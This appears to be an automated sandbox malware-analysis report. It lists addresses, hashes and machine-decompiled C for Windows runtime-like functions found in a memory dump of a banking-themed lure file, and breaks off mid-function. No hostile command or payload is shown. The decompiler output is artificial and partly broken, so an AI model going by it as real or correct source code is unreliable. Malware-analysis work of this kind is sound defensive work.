                                                                        0x0127b1aa
                                                                        0x012d4802
                                                                        0x012d4802
                                                                        0x012d4805
                                                                        0x012d480c
                                                                        0x012d480e
                                                                        0x0127b1d1
                                                                        0x0127b1d3
                                                                        0x0127b1de
                                                                        0x0127b1de
                                                                        0x012d4817
                                                                        0x012d481e
                                                                        0x012d4820
                                                                        0x012d4822
                                                                        0x012d4822
                                                                        0x012d4824
                                                                        0x012d4824
                                                                        0x012d482a
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d4835
                                                                        0x012d483a
                                                                        0x012d483d
                                                                        0x012d483f
                                                                        0x012d4842
                                                                        0x012d4842
                                                                        0x012d4842
                                                                        0x012d4846
                                                                        0x012d484c
                                                                        0x012d484e
                                                                        0x012d4851
                                                                        0x012d4851
                                                                        0x012d4853
                                                                        0x012d4854
                                                                        0x012d4854
                                                                        0x012d4858
                                                                        0x012d485a
                                                                        0x012d485a
                                                                        0x012d485d
                                                                        0x012d485f
                                                                        0x012d4861
                                                                        0x012d4861
                                                                        0x012d4866
                                                                        0x012d486b
                                                                        0x012d486e
                                                                        0x012d4871
                                                                        0x012d4876
                                                                        0x012d4876
                                                                        0x012d4878
                                                                        0x012d487b
                                                                        0x012d4884
                                                                        0x012d4884
                                                                        0x00000000
                                                                        0x012d487d
                                                                        0x012d487d
                                                                        0x012d4882
                                                                        0x012d4889
                                                                        0x012d4889
                                                                        0x012d488f
                                                                        0x012d4891
                                                                        0x012d48e0
                                                                        0x012d48e2
                                                                        0x012d48e4
                                                                        0x012d48e4
                                                                        0x012d48e7
                                                                        0x012d48e7
                                                                        0x012d48ed
                                                                        0x012d48f4
                                                                        0x012d48f6
                                                                        0x012d4951
                                                                        0x012d4951
                                                                        0x012d4953
                                                                        0x012d4953
                                                                        0x012d4956
                                                                        0x012d4956
                                                                        0x012d4958
                                                                        0x012d4959
                                                                        0x012d4959
                                                                        0x012d495d
                                                                        0x012d495d
                                                                        0x012d495f
                                                                        0x012d495f
                                                                        0x012d4965
                                                                        0x012d4969
                                                                        0x012d49ba
                                                                        0x012d49ba
                                                                        0x012d49c1
                                                                        0x012d49c5
                                                                        0x012d49cc
                                                                        0x012d49d4
                                                                        0x012d49d7
                                                                        0x012d49da
                                                                        0x012d49e4
                                                                        0x012d49e5
                                                                        0x012d49f3
                                                                        0x012d4a02
                                                                        0x00000000
                                                                        0x012d4a02
                                                                        0x012d4972
                                                                        0x012d4974
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d4976
                                                                        0x012d4979
                                                                        0x012d4982
                                                                        0x012d4983
                                                                        0x012d4984
                                                                        0x012d498b
                                                                        0x012d498d
                                                                        0x012d4991
                                                                        0x012d4993
                                                                        0x012d4999
                                                                        0x012d499d
                                                                        0x012d49a2
                                                                        0x012d49a2
                                                                        0x012d49a2
                                                                        0x012d4999
                                                                        0x012d49ac
                                                                        0x00000000
                                                                        0x012d49b3
                                                                        0x012d48f8
                                                                        0x012d48fe
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d48fe
                                                                        0x012d4895
                                                                        0x012d489c
                                                                        0x012d48ad
                                                                        0x012d48b2
                                                                        0x012d48b5
                                                                        0x012d48b7
                                                                        0x012d48ba
                                                                        0x012d48bc
                                                                        0x012d48c6
                                                                        0x012d48c6
                                                                        0x012d48cb
                                                                        0x012d48d1
                                                                        0x012d48d4
                                                                        0x012d48d8
                                                                        0x012d48d8
                                                                        0x00000000
                                                                        0x012d48d8
                                                                        0x012d48be
                                                                        0x012d48c0
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d48c2
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d48c4
                                                                        0x00000000
                                                                        0x012d4882
                                                                        0x012d487b
                                                                        0x012d4904
                                                                        0x012d4906
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d4908
                                                                        0x012d490e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d4910
                                                                        0x012d4917
                                                                        0x012d4917
                                                                        0x00000000
                                                                        0x012d4917
                                                                        0x0127b1ba
                                                                        0x012d47f9
                                                                        0x012d47fc
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d47fc
                                                                        0x0127b1c0
                                                                        0x0127b1c0
                                                                        0x0127b1c3
                                                                        0x0127b1cb
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000

                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: _vswprintf_s
                                                                        • String ID:
                                                                        • API String ID: 677850445-0
                                                                        • Opcode ID: 5e7a9670f586cd056ac08b89f7020abfd791f59a14d48206a2e195726fa962d1
                                                                        • Instruction ID: c9dd36cdad3954639f99a9af16e1bef8acc22b7da3ec02f00f7fd4b6e49397d8
                                                                        • Opcode Fuzzy Hash: 5e7a9670f586cd056ac08b89f7020abfd791f59a14d48206a2e195726fa962d1
                                                                        • Instruction Fuzzy Hash: D651E171D2029A8EDF21DF68C846BFEBBB0AF00750F1042ADD959ABA82D7714941CB90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0129B944 Relevance: 1.7, APIs: 1, Instructions: 166COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 76%
                                                                        			E0129B944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0x136d360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E01297D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E01348CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = E012B9E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E012BB640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E012BCE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E01297D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E01348F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = E012BAF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0x1368628; // 0x0
								_v68 = _t77;
								_t78 =  *0x136862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0x1368628; // 0x0
							_t116 =  *0x136862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}
















































                                                                        0x0129b94c
                                                                        0x0129b956
                                                                        0x0129b95c
                                                                        0x0129b95e
                                                                        0x0129b964
                                                                        0x0129b969
                                                                        0x0129b96d
                                                                        0x0129b96d
                                                                        0x0129b970
                                                                        0x0129b974
                                                                        0x0129b97a
                                                                        0x0129badf
                                                                        0x0129badf
                                                                        0x0129bae2
                                                                        0x0129bae4
                                                                        0x0129bae6
                                                                        0x0129baf0
                                                                        0x012e2cb8
                                                                        0x0129baf6
                                                                        0x0129baf6
                                                                        0x0129baf6
                                                                        0x0129bafd
                                                                        0x0129bb1f
                                                                        0x0129bb1f
                                                                        0x0129baff
                                                                        0x0129bb00
                                                                        0x0129bb00
                                                                        0x0129bb03
                                                                        0x0129bb03
                                                                        0x0129bacb
                                                                        0x0129bacf
                                                                        0x0129bad0
                                                                        0x0129bad1
                                                                        0x0129badc
                                                                        0x0129badc
                                                                        0x0129b980
                                                                        0x0129b980
                                                                        0x0129b988
                                                                        0x0129b98b
                                                                        0x0129b98d
                                                                        0x0129b990
                                                                        0x0129b993
                                                                        0x0129b999
                                                                        0x0129b99b
                                                                        0x0129b9a1
                                                                        0x0129b9a5
                                                                        0x0129b9aa
                                                                        0x0129b9b0
                                                                        0x0129b9bb
                                                                        0x0129b9c0
                                                                        0x0129b9c3
                                                                        0x0129b9ca
                                                                        0x0129b9cc
                                                                        0x0129b9cf
                                                                        0x0129b9d3
                                                                        0x0129b9d7
                                                                        0x0129ba94
                                                                        0x0129ba94
                                                                        0x0129ba98
                                                                        0x0129baa3
                                                                        0x012e2ccb
                                                                        0x0129baa9
                                                                        0x0129baa9
                                                                        0x0129baa9
                                                                        0x0129bab1
                                                                        0x012e2cd5
                                                                        0x012e2cdd
                                                                        0x012e2cdd
                                                                        0x0129babb
                                                                        0x0129babc
                                                                        0x0129bac2
                                                                        0x0129bac3
                                                                        0x0129bac3
                                                                        0x0129bac6
                                                                        0x00000000
                                                                        0x0129b9dd
                                                                        0x0129b9dd
                                                                        0x0129b9e7
                                                                        0x0129b9e7
                                                                        0x0129b9ec
                                                                        0x0129b9ec
                                                                        0x0129b9f1
                                                                        0x0129b9f5
                                                                        0x0129b9fa
                                                                        0x0129ba00
                                                                        0x0129ba0c
                                                                        0x0129ba10
                                                                        0x0129ba10
                                                                        0x0129ba12
                                                                        0x0129ba18
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0129bb26
                                                                        0x0129bb26
                                                                        0x0129ba1e
                                                                        0x0129ba1e
                                                                        0x0129ba23
                                                                        0x0129ba25
                                                                        0x0129ba2c
                                                                        0x0129ba30
                                                                        0x0129ba35
                                                                        0x0129ba35
                                                                        0x0129ba41
                                                                        0x0129ba46
                                                                        0x0129ba4c
                                                                        0x0129ba50
                                                                        0x0129ba54
                                                                        0x0129ba6a
                                                                        0x0129ba6e
                                                                        0x0129ba70
                                                                        0x0129ba74
                                                                        0x0129ba78
                                                                        0x0129ba7a
                                                                        0x0129ba7c
                                                                        0x0129ba8e
                                                                        0x0129ba90
                                                                        0x0129ba92
                                                                        0x0129bb14
                                                                        0x0129bb14
                                                                        0x0129bb16
                                                                        0x0129bb16
                                                                        0x00000000
                                                                        0x0129ba7c
                                                                        0x0129bb0a
                                                                        0x0129bb0d
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0129bb0f

                                                                        APIs
                                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0129B9A5
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                                        • String ID:
                                                                        • API String ID: 885266447-0
                                                                        • Opcode ID: a1860238968b195fa84a6f7e93dc5ddc1fe24f3029c8f8b34dc829d84df804b3
                                                                        • Instruction ID: f252b51dc70f3283eed1fa24bf249fbd9487dc12c3c3ef86d4fed6e2fc0fd296
                                                                        • Opcode Fuzzy Hash: a1860238968b195fa84a6f7e93dc5ddc1fe24f3029c8f8b34dc829d84df804b3
                                                                        • Instruction Fuzzy Hash: 15515D71628342CFCB20CF6DD09092ABBE5FB88750F14896EEA8587355D774EC44CB92
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01323D40 Relevance: 1.6, APIs: 1, Instructions: 98timeCOMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 70%
                                                                        			E01323D40(intOrPtr __ecx, char* __edx) {
				signed int _v8;
				char* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				char _v29;
				intOrPtr* _v32;
				char _v36;
				char _v37;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t34;
				intOrPtr* _t37;
				intOrPtr* _t42;
				intOrPtr* _t47;
				intOrPtr* _t48;
				intOrPtr* _t49;
				char _t51;
				void* _t52;
				intOrPtr* _t53;
				char* _t55;
				char _t59;
				char* _t61;
				intOrPtr* _t64;
				void* _t65;
				char* _t67;
				void* _t68;
				signed int _t70;

				_t62 = __edx;
				_t72 = (_t70 & 0xfffffff8) - 0x1c;
				_v8 =  *0x136d360 ^ (_t70 & 0xfffffff8) - 0x0000001c;
				_t34 =  &_v28;
				_v20 = __ecx;
				_t67 = __edx;
				_v24 = _t34;
				_t51 = 0;
				_v12 = __edx;
				_v29 = 0;
				_v28 = _t34;
				E01292280(_t34, 0x1368a6c);
				_t64 =  *0x1365768; // 0x77e15768
				if(_t64 != 0x1365768) {
					while(1) {
						_t8 = _t64 + 8; // 0x77e15770
						_t42 = _t8;
						_t53 = _t64;
						 *_t42 =  *_t42 + 1;
						_v16 = _t42;
						E0128FFB0(_t53, _t64, 0x1368a6c);
						 *0x136b1e0(_v24, _t67);
						if( *((intOrPtr*)( *((intOrPtr*)(_t64 + 0xc))))() != 0) {
							_v37 = 1;
						}
						E01292280(_t45, 0x1368a6c);
						_t47 = _v28;
						_t64 =  *_t64;
						 *_t47 =  *_t47 - 1;
						if( *_t47 != 0) {
							goto L8;
						}
						if( *((intOrPtr*)(_t64 + 4)) != _t53) {
							L10:
							_push(3);
							asm("int 0x29");
						} else {
							_t48 =  *((intOrPtr*)(_t53 + 4));
							if( *_t48 != _t53) {
								goto L10;
							} else {
								 *_t48 = _t64;
								_t61 =  &_v36;
								 *((intOrPtr*)(_t64 + 4)) = _t48;
								_t49 = _v32;
								if( *_t49 != _t61) {
									goto L10;
								} else {
									 *_t53 = _t61;
									 *((intOrPtr*)(_t53 + 4)) = _t49;
									 *_t49 = _t53;
									_v32 = _t53;
									goto L8;
								}
							}
						}
						L11:
						_t51 = _v29;
						goto L12;
						L8:
						if(_t64 != 0x1365768) {
							_t67 = _v20;
							continue;
						}
						goto L11;
					}
				}
				L12:
				E0128FFB0(_t51, _t64, 0x1368a6c);
				while(1) {
					_t37 = _v28;
					_t55 =  &_v28;
					if(_t37 == _t55) {
						break;
					}
					if( *((intOrPtr*)(_t37 + 4)) != _t55) {
						goto L10;
					} else {
						_t59 =  *_t37;
						if( *((intOrPtr*)(_t59 + 4)) != _t37) {
							goto L10;
						} else {
							_t62 =  &_v28;
							_v28 = _t59;
							 *((intOrPtr*)(_t59 + 4)) =  &_v28;
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t37);
							continue;
						}
					}
					L18:
				}
				_pop(_t65);
				_pop(_t68);
				_pop(_t52);
				return E012BB640(_t51, _t52, _v8 ^ _t72, _t62, _t65, _t68);
				goto L18;
			}

































                                                                        0x01323d40
                                                                        0x01323d48
                                                                        0x01323d52
                                                                        0x01323d59
                                                                        0x01323d5d
                                                                        0x01323d61
                                                                        0x01323d63
                                                                        0x01323d67
                                                                        0x01323d69
                                                                        0x01323d72
                                                                        0x01323d76
                                                                        0x01323d7a
                                                                        0x01323d7f
                                                                        0x01323d8b
                                                                        0x01323d91
                                                                        0x01323d91
                                                                        0x01323d91
                                                                        0x01323d94
                                                                        0x01323d96
                                                                        0x01323d9d
                                                                        0x01323da1
                                                                        0x01323db0
                                                                        0x01323dba
                                                                        0x01323dbc
                                                                        0x01323dbc
                                                                        0x01323dc6
                                                                        0x01323dcb
                                                                        0x01323dcf
                                                                        0x01323dd1
                                                                        0x01323dd4
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01323dd9
                                                                        0x01323e0c
                                                                        0x01323e0c
                                                                        0x01323e0f
                                                                        0x01323ddb
                                                                        0x01323ddb
                                                                        0x01323de0
                                                                        0x00000000
                                                                        0x01323de2
                                                                        0x01323de2
                                                                        0x01323de4
                                                                        0x01323de8
                                                                        0x01323deb
                                                                        0x01323df1
                                                                        0x00000000
                                                                        0x01323df3
                                                                        0x01323df3
                                                                        0x01323df5
                                                                        0x01323df8
                                                                        0x01323dfa
                                                                        0x00000000
                                                                        0x01323dfa
                                                                        0x01323df1
                                                                        0x01323de0
                                                                        0x01323e11
                                                                        0x01323e11
                                                                        0x00000000
                                                                        0x01323dfe
                                                                        0x01323e04
                                                                        0x01323e06
                                                                        0x00000000
                                                                        0x01323e06
                                                                        0x00000000
                                                                        0x01323e04
                                                                        0x01323d91
                                                                        0x01323e15
                                                                        0x01323e1a
                                                                        0x01323e1f
                                                                        0x01323e1f
                                                                        0x01323e23
                                                                        0x01323e29
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01323e2e
                                                                        0x00000000
                                                                        0x01323e30
                                                                        0x01323e30
                                                                        0x01323e35
                                                                        0x00000000
                                                                        0x01323e37
                                                                        0x01323e3e
                                                                        0x01323e42
                                                                        0x01323e48
                                                                        0x01323e4e
                                                                        0x00000000
                                                                        0x01323e4e
                                                                        0x01323e35
                                                                        0x00000000
                                                                        0x01323e2e
                                                                        0x01323e5b
                                                                        0x01323e5c
                                                                        0x01323e5d
                                                                        0x01323e68
                                                                        0x00000000

                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: DebugPrintTimes
                                                                        • String ID:
                                                                        • API String ID: 3446177414-0
                                                                        • Opcode ID: 14c2a08be40e2d05972bef5086d9ffdd698e94d6a6c38b84d4a29b5b8d3040cf
                                                                        • Instruction ID: be0c03c1813f6d23d72c554b24320b38a1e3f533e7c906b9a9a160acfcf56bab
                                                                        • Opcode Fuzzy Hash: 14c2a08be40e2d05972bef5086d9ffdd698e94d6a6c38b84d4a29b5b8d3040cf
                                                                        • Instruction Fuzzy Hash: 59318D72605312DFCB10EF18C58046ABBE5FF89708F04896EE8889B255D734DD19CBD2
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B4A2C Relevance: 1.6, APIs: 1, Instructions: 92timeCOMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 58%
                                                                        			E012B4A2C(signed int* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int* _v12;
				char _v13;
				signed int _v16;
				char _v21;
				signed int* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				signed int* _t32;
				signed int* _t41;
				signed int _t42;
				void* _t43;
				intOrPtr* _t51;
				void* _t52;
				signed int _t53;
				signed int _t58;
				void* _t59;
				signed int _t60;
				signed int _t62;

				_t49 = __edx;
				_t62 = (_t60 & 0xfffffff8) - 0xc;
				_t26 =  *0x136d360 ^ _t62;
				_v8 =  *0x136d360 ^ _t62;
				_t41 = __ecx;
				_t51 = __edx;
				_v12 = __ecx;
				if(_a4 == 0) {
					if(_a8 != 0) {
						goto L1;
					}
					_v13 = 1;
					E01292280(_t26, 0x1368608);
					_t58 =  *_t41;
					if(_t58 == 0) {
						L11:
						E0128FFB0(_t41, _t51, 0x1368608);
						L2:
						 *0x136b1e0(_a4, _a8);
						_t42 =  *_t51();
						if(_t42 == 0) {
							_t29 = 0;
							L5:
							_pop(_t52);
							_pop(_t59);
							_pop(_t43);
							return E012BB640(_t29, _t43, _v16 ^ _t62, _t49, _t52, _t59);
						}
						 *((intOrPtr*)(_t42 + 0x34)) = 1;
						if(_v21 != 0) {
							_t53 = 0;
							E01292280(_t28, 0x1368608);
							_t32 = _v24;
							if( *_t32 == _t58) {
								 *_t32 = _t42;
								 *((intOrPtr*)(_t42 + 0x34)) =  *((intOrPtr*)(_t42 + 0x34)) + 1;
								if(_t58 != 0) {
									 *(_t58 + 0x34) =  *(_t58 + 0x34) - 1;
									asm("sbb edi, edi");
									_t53 =  !( ~( *(_t58 + 0x34))) & _t58;
								}
							}
							E0128FFB0(_t42, _t53, 0x1368608);
							if(_t53 != 0) {
								L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						_t29 = _t42;
						goto L5;
					}
					if( *((char*)(_t58 + 0x40)) != 0) {
						L10:
						 *(_t58 + 0x34) =  *(_t58 + 0x34) + 1;
						E0128FFB0(_t41, _t51, 0x1368608);
						_t29 = _t58;
						goto L5;
					}
					_t49 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					if( *((intOrPtr*)(_t58 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
						goto L11;
					}
					goto L10;
				}
				L1:
				_v13 = 0;
				_t58 = 0;
				goto L2;
			}
























                                                                        0x012b4a2c
                                                                        0x012b4a34
                                                                        0x012b4a3c
                                                                        0x012b4a3e
                                                                        0x012b4a48
                                                                        0x012b4a4b
                                                                        0x012b4a4d
                                                                        0x012b4a51
                                                                        0x012b4a9c
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012b4aa3
                                                                        0x012b4aa8
                                                                        0x012b4aad
                                                                        0x012b4ab1
                                                                        0x012b4ade
                                                                        0x012b4ae3
                                                                        0x012b4a5a
                                                                        0x012b4a62
                                                                        0x012b4a6a
                                                                        0x012b4a6e
                                                                        0x012ef203
                                                                        0x012b4a84
                                                                        0x012b4a88
                                                                        0x012b4a89
                                                                        0x012b4a8a
                                                                        0x012b4a95
                                                                        0x012b4a95
                                                                        0x012b4a79
                                                                        0x012b4a80
                                                                        0x012b4af2
                                                                        0x012b4af4
                                                                        0x012b4af9
                                                                        0x012b4aff
                                                                        0x012b4b01
                                                                        0x012b4b03
                                                                        0x012b4b08
                                                                        0x012ef20a
                                                                        0x012ef212
                                                                        0x012ef216
                                                                        0x012ef216
                                                                        0x012b4b08
                                                                        0x012b4b13
                                                                        0x012b4b1a
                                                                        0x012ef229
                                                                        0x012ef229
                                                                        0x012b4b1a
                                                                        0x012b4a82
                                                                        0x00000000
                                                                        0x012b4a82
                                                                        0x012b4ab7
                                                                        0x012b4acd
                                                                        0x012b4acd
                                                                        0x012b4ad5
                                                                        0x012b4ada
                                                                        0x00000000
                                                                        0x012b4ada
                                                                        0x012b4ac2
                                                                        0x012b4acb
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012b4acb
                                                                        0x012b4a53
                                                                        0x012b4a53
                                                                        0x012b4a58
                                                                        0x00000000

                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: DebugPrintTimes
                                                                        • String ID:
                                                                        • API String ID: 3446177414-0
                                                                        • Opcode ID: b177d20996ca3ae279c4e826dc19cab98400b32fd0af28775338ca83ad0eac2e
                                                                        • Instruction ID: 192cc50379fb936e7cc8219050d8e49b2bcf2ce47a6165b1c9c864ca9ed23dc5
                                                                        • Opcode Fuzzy Hash: b177d20996ca3ae279c4e826dc19cab98400b32fd0af28775338ca83ad0eac2e
                                                                        • Instruction Fuzzy Hash: BC310732661392DBC721AF18CAC576ABBA8FF84754F004459E65647256C7B0E800CB85
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01290050 Relevance: 1.6, APIs: 1, Instructions: 81timeCOMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 53%
                                                                        			E01290050(void* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t34;
				void* _t40;
				void* _t41;
				signed int _t44;
				intOrPtr _t47;
				signed int _t58;
				void* _t59;
				void* _t61;
				void* _t62;
				signed int _t64;

				_push(__ecx);
				_v8 =  *0x136d360 ^ _t64;
				_t61 = __ecx;
				_t2 = _t61 + 0x20; // 0x20
				E012A9ED0(_t2, 1, 0);
				_t52 =  *(_t61 + 0x8c);
				_t4 = _t61 + 0x8c; // 0x8c
				_t40 = _t4;
				do {
					_t44 = _t52;
					_t58 = _t52 & 0x00000001;
					_t24 = _t44;
					asm("lock cmpxchg [ebx], edx");
					_t52 = _t44;
				} while (_t52 != _t44);
				if(_t58 == 0) {
					L7:
					_pop(_t59);
					_pop(_t62);
					_pop(_t41);
					return E012BB640(_t24, _t41, _v8 ^ _t64, _t52, _t59, _t62);
				}
				asm("lock xadd [esi], eax");
				_t47 =  *[fs:0x18];
				 *((intOrPtr*)(_t61 + 0x50)) =  *((intOrPtr*)(_t47 + 0x19c));
				 *((intOrPtr*)(_t61 + 0x54)) =  *((intOrPtr*)(_t47 + 0x1a0));
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t30 != 0) {
					if( *_t30 == 0) {
						goto L4;
					}
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					L5:
					if( *_t31 != 0) {
						_t18 = _t61 + 0x78; // 0x78
						E01348A62( *(_t61 + 0x5c), _t18,  *((intOrPtr*)(_t61 + 0x30)),  *((intOrPtr*)(_t61 + 0x34)),  *((intOrPtr*)(_t61 + 0x3c)));
					}
					_t52 =  *(_t61 + 0x5c);
					_t11 = _t61 + 0x78; // 0x78
					_t34 = E012A9702(_t40, _t11,  *(_t61 + 0x5c),  *((intOrPtr*)(_t61 + 0x74)), 0);
					_t24 = _t34 | 0xffffffff;
